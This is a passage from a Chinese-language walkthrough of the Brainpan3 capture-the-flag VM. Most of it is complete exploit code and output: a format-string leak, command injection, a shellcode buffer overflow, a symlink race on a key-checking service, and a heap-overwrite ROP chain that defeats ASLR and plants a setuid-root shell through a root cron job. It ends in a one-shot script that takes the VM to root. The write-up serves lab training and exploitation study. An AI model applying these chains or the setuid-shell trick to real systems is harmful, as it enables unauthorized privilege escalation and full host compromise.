[*] ./cryptor $(python -c 'print "A" * 4 + "\x80\xa0\x04\x08" + "C" * 0') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"')
[*] Shell recevied: root
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root

在本地获得了一个shell。现在必须在服务器上执行此命令。为此,在现有脚本中创建命令,然后从脚本中发送命令。该完善后的脚本如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
for command in ['uname -a', 'whoami', 'id']:
r.clean()
r.sendline('1')
r.sendline('$({} >&2)'.format(command))

r.recvuntil("SENDING TO REPORT MODULE")
output = r.recvuntil('[+]').split('\n')[2]
log.success("{} - {}".format(command, output))
r.clean()
r.sendline('1')
r.sendline('$(/bin/bash -i >&2)')
offset = cyclic_find('baaa')
shellcode = 'A' * cyclic_find('baaa') + p32(0x804a080)
buffer = 116 - len(shellcode)
binsh_shellcode = asm(shellcraft.sh())
argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer)
argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2))
actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2)
log.info(actual_shellcode)
r.sendline('cd /home/reynard/private')
while True:
r.clean()
r.sendline(actual_shellcode)
r.clean()
r.sendline('id')
output = r.recv()
if 'reynard' in output:
break
log.info("Shell recevied: reynard")
r.interactive()

运行上面的脚本之后,等待一小会儿,将会接收到一个reynard的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 2919
[*] Report 'N' at offset 65
[+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux
[+] whoami - anansi
[+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[*] ./cryptor $(python -c 'print "A" * 4 + "\x80\xa0\x04\x08" + "C" * 108') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"')
[*] Shell recevied: reynard
[*] Switching to interactive mode
$ id
uid=1000(anansi) gid=1003(webdev) euid=1002(reynard) groups=1002(reynard)
$ whoami
reynard
$ pwd
/home/reynard/private

步骤5

再进行一次勘测,将显示以下cron作业:

1
2
$ cat /etc/cron.d/*
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done

查看/opt/.messenger的特权,看到以下内容:

1
2
3
4
5
$ ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 May 19 2015 .
drwxr-xr-x 21 root root 4096 Jun 17 2015 ..
drwxrwx--- 3 root dev 4096 Feb 6 13:04 .messenger

看到一个由root执行的命令,该命令从/opt/.messenger目录中提取文件。为此,需要具有开发人员组权限的用户。检查/etc/passwd的尾部,可以看到puck。看他的id:

1
2
$ id puck
uid=1001(puck) gid=1001(puck) groups=1001(puck),1004(dev)

他确实具有dev特权,允许他访问/opt/.messenger。来看看box上的puck用户。

1
2
3
4
5
6
7
8
$ cd /home/puck
$ ls -la
total 12
drwxrwx--- 2 reynard dev 4096 Jun 17 22:11 .
drwxr-xr-x 3 root root 4096 May 19 23:35 ..
-rw-r--r-- 1 reynard reynard 21 Jun 17 22:11 key.txt
$ cat key.txt
9H37B81HZYY8912HBU93

box上还有其他key吗?

1
2
$ find / -name key* 2>/dev/null
/mnt/usb/key.txt

不知道这些key是做什么用的。碰到一个小路障会做什么?侦察!查看netstat,看到另一个服务处于活动状态:

1
2
3
4
5
6
$ netstat -antop | grep LIST
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:7075 0.0.0.0:* LISTEN - off (0.00/0/0)

连接到它

1
2
3
$ nc localhost 7075
open: No such file or directory
Incorrect key

不知道它来自什么服务,执行一个系统范围的字符串来尝试查找导致此问题的二进制文件。

1
2
3
4
5
$ find / -executable > exes
$ for f in $(cat exes); do echo $f >> output; strings $f | grep "Incorrect key" >> output; done
$ grep Incorrect output -B1
/usr/local/sbin/trixd
Incorrect key

并确认

1
2
$ strings /usr/local/sbin/trixd | grep Incorrect
Incorrect key

将trixd加载到IDA中,看到二进制文件正在检查/mnt/usb/key.txt是否为符号链接,如果是,则立即退出。从这里,它同时打开/mnt/usb/key.txt和/home/puck/key.txt并检查它们是否相同。如果它们相同,将得到一个/bin/sh shell。否则,会看到错误的密钥消息。解决此问题的方法是连接到服务,删除/mnt/usb/key.txt,然后将/home/puck/key.txt符号链接到/mnt/usb/key.txt。如果时间安排正确,将在检查后进行符号链接,绕过它。不想将binjitsu放在VM本身上,可以在这部分使用标准库函数。再次,为了通过一个脚本来完成这项工作,将一个脚本写入磁盘并执行该脚本,以使的shell具有puck的功能。的新代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
for command in ['uname -a', 'whoami', 'id']:
r.clean()
r.sendline('1')
r.sendline('$({} >&2)'.format(command))

r.recvuntil("SENDING TO REPORT MODULE")
output = r.recvuntil('[+]').split('\n')[2]
log.success("{} - {}".format(command, output))
r.clean()
r.sendline('1')
r.sendline('$(/bin/bash -i >&2)')
offset = cyclic_find('baaa')
shellcode = 'A' * cyclic_find('baaa') + p32(0x804a080)
buffer = 116 - len(shellcode)
binsh_shellcode = asm(shellcraft.sh())
argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer)
argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2))
actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2)
log.info(actual_shellcode)
r.sendline('cd /home/reynard/private')
while True:
r.clean()
r.sendline(actual_shellcode)
r.clean()
r.sendline('id')
output = r.recv()
if 'reynard' in output:
break
log.info("Shell recevied: reynard")
r.sendline(""" echo "
import os
import socket
import telnetlib
import subprocess

HOST = 'localhost'
PORT = 7075

try:
os.remove('/mnt/usb/key.txt')
except:
pass

subprocess.check_output(['touch', '/mnt/usb/key.txt'])

r = socket.socket()
r.connect((HOST, PORT))

os.remove('/mnt/usb/key.txt')
os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')

t = telnetlib.Telnet()
t.sock = r
t.interact()

r.close()
" > win.py
""")

r.sendline("python win.py")
r.clean()
r.sendline("whoami")
output = r.recv()
log.success("Shell received: {}".format(output))
sleep(1)
r.interactive()

运行上面的代码之后,成功的拿到了puck用户的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 2796
[*] Report 'N' at offset 65
[+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux
[+] whoami - anansi
[+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[*] ./cryptor $(python -c 'print "A" * 4 + "\x80\xa0\x04\x08" + "C" * 108') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"')
[*] Shell recevied: reynard
[+] Shell received: puck
[*] Switching to interactive mode
$ id
uid=1001(puck) gid=1004(dev) groups=1001(puck)
$ whoami
puck

步骤6

现在,很吃力,需要完成认为是获得root shell的最后一步的工作。回到cronjob,需要分析msg_admin二进制文件。与加密二进制文件类似的方式将其从VM中提取。快速checksec

1
2
3
4
5
6
7
root@kali:~/vulnhub/brainpan3/2# checksec msg_admin
[*] '/root/vulnhub/brainpan3/2/msg_admin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Canaries,NX上。ASLR开启了吗?

1
2
$ cat /proc/sys/kernel/randomize_va_space
2

该抽出所有的止损了。从cronjob中,意识到二进制文件需要一个文件。静态分析二进制文件,看到文件需要包含名称行和由|分隔的消息。创建一个小的payload生成脚本来对此进行测试。

make-pwnmsg.py

1
2
3
4
5
6
from pwn import *

with open('pwn.msg', 'w') as f:
f.write('{}|{}\n'.format('a'*4, 'A'*10))
f.write('{}|{}\n'.format('b'*4, 'B'*10))
f.write('{}|{}\n'.format('b'*4, 'C'*10))

运行脚本之后,生成以下的文件

1
2
3
4
5
6
root@kali:~/vulnhub/brainpan3/2# ls
bofh bp3.py brainpan.8 cryptor make-pwnmsg.py msg_admin pwn.msg report shell test.py trixd
root@kali:~/vulnhub/brainpan3/2# cat pwn.msg
aaaa|AAAAAAAAAA
bbbb|BBBBBBBBBB
bbbb|CCCCCCCCCC

在gdb中执行payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pwndbg> r 1 pwn.msg
Starting program: /root/vulnhub/brainpan3/2/msg_admin 1 pwn.msg
[+] Recording 3 entries
[+] Message from aaaa@kali

Program received signal SIGSEGV, Segmentation fault.
0xf7e48f36 in fputs () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
EAX 0xa
EBX 0x804c300 ◂— 'bbbb'
ECX 0x0
EDX 0xffffbebe ◂— 0x0
EDI 0xa
ESI 0x0
EBP 0xffffce68 —▸ 0xffffcef8 —▸ 0xffffd0b8 —▸ 0xffffd2e8 ◂— 0x0
ESP 0xffffce40 —▸ 0x804c300 ◂— 'bbbb'
EIP 0xf7e48f36 (fputs+38) ◂— mov eax, dword ptr [esi]
─────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────
► 0xf7e48f36 <fputs+38> mov eax, dword ptr [esi]
0xf7e48f38 <fputs+40> and eax, 0x8000
0xf7e48f3d <fputs+45> jne fputs+100 <0xf7e48f74>

0xf7e48f74 <fputs+100> movsx edx, byte ptr [esi + 0x46]
0xf7e48f78 <fputs+104> test dl, dl
0xf7e48f7a <fputs+106> jne fputs+143 <0xf7e48f9f>

0xf7e48f9f <fputs+143> mov ecx, dword ptr [ebp - 0x1c]
0xf7e48fa2 <fputs+146> mov ebx, dword ptr [esi + edx + 0x94]
0xf7e48fa9 <fputs+153> lea eax, [ecx + 0xf80]
0xf7e48faf <fputs+159> lea edx, [ecx + 0x1754]
0xf7e48fb5 <fputs+165> mov ecx, ebx
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ esp 0xffffce40 —▸ 0x804c300 ◂— 'bbbb'
... ↓
02:0008│ 0xffffce48 —▸ 0xffffd250 —▸ 0xf7ffdab0 —▸ 0xf7fce3e0 —▸ 0xf7ffd950 ◂— ...
03:000c│ 0xffffce4c —▸ 0xf7fb5000 ◂— 0x1d6d6c
04:0010│ 0xffffce50 —▸ 0xffffcef8 —▸ 0xffffd0b8 —▸ 0xffffd2e8 ◂— 0x0
05:0014│ 0xffffce54 —▸ 0xf7fe9450 ◂— pop edx
06:0018│ 0xffffce58 ◂— 0x0
07:001c│ 0xffffce5c —▸ 0x804c300 ◂— 'bbbb'
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► f 0 f7e48f36 fputs+38
f 1 804892c record_data+271
f 2 8048a89 notify_admin+193
f 3 8048d4d main+664
f 4 f7dfc811 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x0)

在静态分析中注意到了一些malloc。看看堆的布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> 
+0f30 0x804d908 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+0f70 0x804d948 00 00 00 00 11 00 00 00 01 00 00 00 60 d9 04 08 │....│....│....│`...│
+0f80 0x804d958 70 d9 04 08 11 00 00 00 61 61 61 61 00 00 00 00 │p...│....│aaaa│....│
+0f90 0x804d968 00 00 00 00 d1 00 00 00 41 41 41 41 41 41 41 41 │....│....│AAAA│AAAA│
+0fa0 0x804d978 41 41 00 00 00 00 00 00 │AA..│....│ │ │
pwndbg>
+0f90 0x804d980 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+1000 0x804d9f0 00 00 00 00 00 00 00 00 │....│....│ │ │
pwndbg>
+0fc0 0x804d9f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+1000 0x804da38 00 00 00 00 11 00 00 00 01 00 00 00 50 da 04 08 │....│....│....│P...│
+1010 0x804da48 60 da 04 08 11 00 00 00 62 62 62 62 00 00 00 00 │`...│....│bbbb│....│
+1020 0x804da58 00 00 00 00 d1 00 00 00 42 42 42 42 42 42 42 42 │....│....│BBBB│BBBB│
+1030 0x804da68 42 42 00 00 00 00 00 00 │BB..│....│ │ │

似乎的每条消息都在堆中背对背。看起来在消息之后还存在两个指针(请参见地址0x804d958和0x804da48)。消息和最后一个指针之间有多少可用空间。

1
2
>>> 0x804da48 - 0x804d970
216

怀疑可以用A溢出两个指针,抛出数据以查看是否可以控制这些指针。

make-pwnmsg.py

1
2
3
4
5
6
from pwn import *

with open('pwn.msg', 'w') as f:
f.write('{}|{}\n'.format('a'*4, cyclic(216)))
f.write('{}|{}\n'.format('b'*4, 'B'*10))
f.write('{}|{}\n'.format('b'*4, 'C'*10))

在gdb中再次执行相同的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> r 1 pwn.msg 
Starting program: /root/vulnhub/brainpan3/2/msg_admin 1 pwn.msg
[+] Recording 3 entries

Program received signal SIGSEGV, Segmentation fault.
0xf7e70bb2 in ?? () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
EAX 0x62626262 ('bbbb')
EBX 0x804c300 ◂— 'bbbb'
ECX 0x804c300 ◂— 'bbbb'
EDX 0x63616164 ('daac')
EDI 0xf7fb5000 ◂— 0x1d6d6c
ESI 0xffffd250 —▸ 0xf7ffdab0 —▸ 0xf7fce3e0 —▸ 0xf7ffd950 ◂— 0x0
EBP 0xffffd2e8 ◂— 0x0
ESP 0xffffd0bc —▸ 0x8048cd0 (main+539) ◂— mov eax, dword ptr [ebp - 0x4c]
EIP 0xf7e70bb2 ◂— mov dword ptr [edx], eax
─────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────
► 0xf7e70bb2 mov dword ptr [edx], eax
0xf7e70bb4 mov al, byte ptr [ecx + 4]
0xf7e70bb7 mov byte ptr [edx + 4], al
0xf7e70bba mov eax, edx
0xf7e70bbc ret

0xf7e70bbd lea esi, [esi]
0xf7e70bc0 mov eax, dword ptr [ecx]
0xf7e70bc2 mov dword ptr [edx], eax
0xf7e70bc4 mov ax, word ptr [ecx + 4]
0xf7e70bc8 mov word ptr [edx + 4], ax
0xf7e70bcc mov eax, edx
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ esp 0xffffd0bc —▸ 0x8048cd0 (main+539) ◂— mov eax, dword ptr [ebp - 0x4c]
01:0004│ 0xffffd0c0 ◂— 'daac'
02:0008│ 0xffffd0c4 —▸ 0x804c300 ◂— 'bbbb'
03:000c│ 0xffffd0c8 —▸ 0x804c1a0 ◂— 0xfbad2488
04:0010│ 0xffffd0cc ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
05:0014│ 0xffffd0d0 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
06:0018│ 0xffffd0d4 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
07:001c│ 0xffffd0d8 ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► f 0 f7e70bb2
f 1 8048cd0 main+539
f 2 f7dfc811 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x63616164)

一定喜欢看到SIGSEGV,是吗?崩溃指令是mov [edx],eax。看来正在用bbbb(eax-第二条消息)覆盖地址daac(edx-来自循环函数)中的数据。这实际上是“在哪里写”条件,在这里可以在任何地方写入4个字节的内容。查看0x8048cd0(在第1帧处的回溯),看到处于strcpy状态。在此处设置断点并重新启动:

1
2
3
4
5
6
pwn> bp 0x8048ccb

[---------------------------------------CODE----------------------------------------]
=> 0x8048ccb <main+534> call 0x8048630 <strcpy@plt>
dest: 0x63616164 ('daac')
src: 0x804c170 <-- 'bbbb'

在崩溃点,堆栈处于以下状态:

1
2
3
4
5
6
7
8
9
[---------------------------------------STACK---------------------------------------]
00:0000| esp 0xffffc83c --> 0x8048cd0 (main+539) <-- mov eax, dword ptr [ebp - 0x4c]
01:0004| 0xffffc840 <-- 0x63616164
02:0008| 0xffffc844 --> 0x804c170 <-- 'bbbb'
03:000c| 0xffffc848 --> 0x804c008 <-- 0xfbad2488
04:0010| 0xffffc84c <-- 'aaaabaaacaaadaa...'
05:0014| 0xffffc850 <-- 'baaacaaadaaaeaa...'
06:0018| 0xffffc854 <-- 'caaadaaaeaaafaa...'
07:001c| 0xffffc858 <-- 'daaaeaaafaaagaa...'

在堆栈地址看到了受控缓冲区0xffffc84c,为了将ESP移至缓冲区,需要执行堆栈枢纽操作,以便启动ROP序列。
将bbbb设置为从binjitsu(rop.search(move = 20).address)移动20的堆栈地址,并将daac的偏移量设置为strtok GOT条目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

elf = ELF('msg_admin')
rop = ROP(elf)

pivot = rop.search(move=20).address
strtok = elf.got['strtok']

log.info("Pivot: {}".format(hex(pivot)))
log.info("Strtok: {}".format(hex(strtok)))

with open('pwn.msg', 'w') as f:
sc = 'A' * cyclic_find('daac') + p32(strtok)
sc += 'B' * (216 - len(sc))
f.write('{}|{}\n'.format('a'*4, sc))
f.write('{}|{}\n'.format(p32(pivot), 'B'*12))

太棒了,所以现在有了堆栈控制和EIP控制。;-)使用ROPGadget查看相关的ROP小工具。请注意,一定要增加–depth,以便可以看到更多小工具。在这种情况下,这一点很重要。没有它,将无法找到清晰的eax小工具。

1
$ ROPgadget --depth 30 --binary msg_admin

列表中的两个小工具非常有趣。下面的小工具将允许使用取消引用的指针来增加eax。

1
0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret

下一个小工具将提供清除eax的方法。请注意,从默认的ROPgadget设置–depth 10中看不到此小工具。

1
0x08048790 : mov eax, 0x804b074 ; sub eax, 0x804b074 ; sar eax, 2 ; mov edx, eax ; shr edx, 0x1f ; add eax, edx ; sar eax, 1 ; jne 0x80487c1 ; ret

攻击计划如下(剧透警报,几乎与每个CTF ASLR旁路相同):

  • 引用GOT中的条目。
  • 计算给定条目和系统之间的差异。
  • 将此差异添加到取消引用的值中。
  • 调用system(’/tmp/foo’),其中/tmp/foo包含我们的命令。

因为要减少添加偏移量指令的数量,所以尝试在msg_admin中找到哪个GOT条目最接近其libc中的系统。

find-good-addr.py

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

elf = ELF('msg_admin')
libc = ELF('libc.so.6')

for symbol in elf.symbols:
try:
if libc.symbols[symbol] < libc.symbols['system']:
print symbol, hex(libc.symbols['system'] - libc.symbols[symbol])
except:
pass
1
2
3
$ python find-good-addr.py 
__libc_start_main 0x26800
atol 0xe900

为了使事情更简单,将仅在GOT条目中添加正值。使用atol条目,因为它与系统的差异最小。接下来,需要在二进制文件中找到偏移量,该偏移量累积时等于0xe900。下面是一个可能的列表:

1
2
3
4
0x8048595 = 0xc6e8
0x8048dff = 0x2203
0x8048833 = 0x14
0x8048fb9 = 0x1

现在有了系统偏移量,只需要一个小工具即可执行它。

1
0x8048786 : call eax;

注意到在用法语句中找到了字符串/tmp/foo。利用它并将其用作执行命令。需要一个或两个命令,当以root身份执行时,将给一个shell。一种方法如下:

1
2
3
cp /bin/sh /tmp/pwned;
chown root /tmp/pwned;
chmod 4777 /tmp/pwned;

需要将setuid位(4777)设置为puck,以便在root特权下执行二进制文件。一切准备就绪,检查一下最终的ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def add_offset(addr):
"""Function used to easily add offsets to eax to global rop chain"""
add_to_sum = 0x08048feb
rop.raw(pop_ebx)
rop.raw(addr - 0x1270304)
rop.raw(add_to_sum)

rop = ROP(elf)
tmpfoo = elf.search('/tmp/foo').next()
atol = elf.got['atol']

pop_ebx = 0x804859d
call_eax = 0x8048786

hex_c6e8 = 0x8048595
hex_2203 = 0x8048dff
hex_14 = 0x8048833
hex_1 = 0x8048fb9

rop.raw(0x8048790)

add_offset(atol)
add_offset(hex_c6e8)
add_offset(hex_2203)
add_offset(hex_14)
add_offset(hex_1)

rop.raw(call_eax)
rop.raw(tmpfoo)

根据先前的挑战,需要通过binjitsu执行这些挑战。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
r.sendline('echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo')
r.sendline('chmod +x /tmp/foo')

sc = str(rop)
sc += cyclic(cyclic_find('daac')-len(sc))
sc += p32(strtok)
sc += 'C' * (216 - len(sc))

data = ''
data += '{}|{}\n'.format('s'*4, sc)
data += '{}|{}\n'.format(p32(pivot), str(rop))

pwnmsg_file = ''
for b in data:
pwnmsg_file += '\\x{}'.format(b.encode('hex'))

r.sendline('''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''.format(pwnmsg_file))

下面是完善后的一键获取root权限并且拿到flag的python脚本,运行一下看看效果。。。

bp3.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
for command in ['uname -a', 'whoami', 'id']:
r.clean()
r.sendline('1')
r.sendline('$({} >&2)'.format(command))

r.recvuntil("SENDING TO REPORT MODULE")
output = r.recvuntil('[+]').split('\n')[2]
log.success("{} - {}".format(command, output))
r.clean()
r.sendline('1')
r.sendline('$(/bin/bash -i >&2)')
offset = cyclic_find('baaa')
shellcode = 'A' * cyclic_find('baaa') + p32(0x804a080)
buffer = 116 - len(shellcode)
binsh_shellcode = asm(shellcraft.sh())
argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer)
argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2))
actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2)
log.info(actual_shellcode)
r.sendline('cd /home/reynard/private')
while True:
r.clean()
r.sendline(actual_shellcode)
r.clean()
r.sendline('id')
output = r.recv()
if 'reynard' in output:
break
log.info("Shell recevied: reynard")
r.sendline(""" echo "
import os
import socket
import telnetlib
import subprocess

HOST = 'localhost'
PORT = 7075

try:
os.remove('/mnt/usb/key.txt')
except:
pass

subprocess.check_output(['touch', '/mnt/usb/key.txt'])

r = socket.socket()
r.connect((HOST, PORT))

os.remove('/mnt/usb/key.txt')
os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')

t = telnetlib.Telnet()
t.sock = r
t.interact()

r.close()
" > win.py
""")
r.sendline("python win.py")
r.clean()
r.sendline("whoami")
output = r.recv()
log.success("Shell received: {}".format(output))
sleep(1)
log.success("Insert ROP pun here...")
elf = ELF('msg_admin')
rop = ROP(elf)
pivot = rop.search(move=20).address
strtok = elf.got['strtok']
rop = ROP(elf)
def add_offset(addr):
"""Function used to easily add offsets to eax to global rop chain"""
add_to_sum = 0x08048feb
rop.raw(pop_ebx)
rop.raw(addr - 0x1270304)
rop.raw(add_to_sum)
rop = ROP(elf)
tmpfoo = elf.search('/tmp/foo').next()
atol = elf.got['atol']
pop_ebx = 0x804859d
call_eax = 0x8048786
hex_c6e8 = 0x8048595
hex_2203 = 0x8048dff
hex_14 = 0x8048833
hex_1 = 0x8048fb9
rop.raw(0x8048790)
add_offset(atol)
add_offset(hex_c6e8)
add_offset(hex_2203)
add_offset(hex_14)
add_offset(hex_1)
rop.raw(call_eax)
rop.raw(tmpfoo)
r.sendline('echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo')
r.sendline('chmod +x /tmp/foo')
log.info('Create our root command file at /tmp/foo')
log.info('echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo')
log.info('chmod +x /tmp/foo')
sc = str(rop)
sc += cyclic(cyclic_find('daac')-len(sc))
sc += p32(strtok)
sc += 'C' * (216 - len(sc))
data = ''
data += '{}|{}\n'.format('s'*4, sc)
data += '{}|{}\n'.format(p32(pivot), str(rop))
pwnmsg_file = ''
for b in data:
pwnmsg_file += '\\x{}'.format(b.encode('hex'))
r.sendline('''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''.format(pwnmsg_file))
log.info('Create our malicious msg file')
log.info('''python -c "print '{}'" >> /opt/.messenger/pwn.msg'''.format(pwnmsg_file))
r.sendline('rm /tmp/pwned')
r.clean()
log.info("Wait for your r00t shellz")
for _ in xrange(75):
r.sendline('ls -la /opt/.messenger')
sleep(1)
output = r.recv()
if 'pwn.msg' not in output:
break
r.sendline('/tmp/pwned')
r.sendline('id')
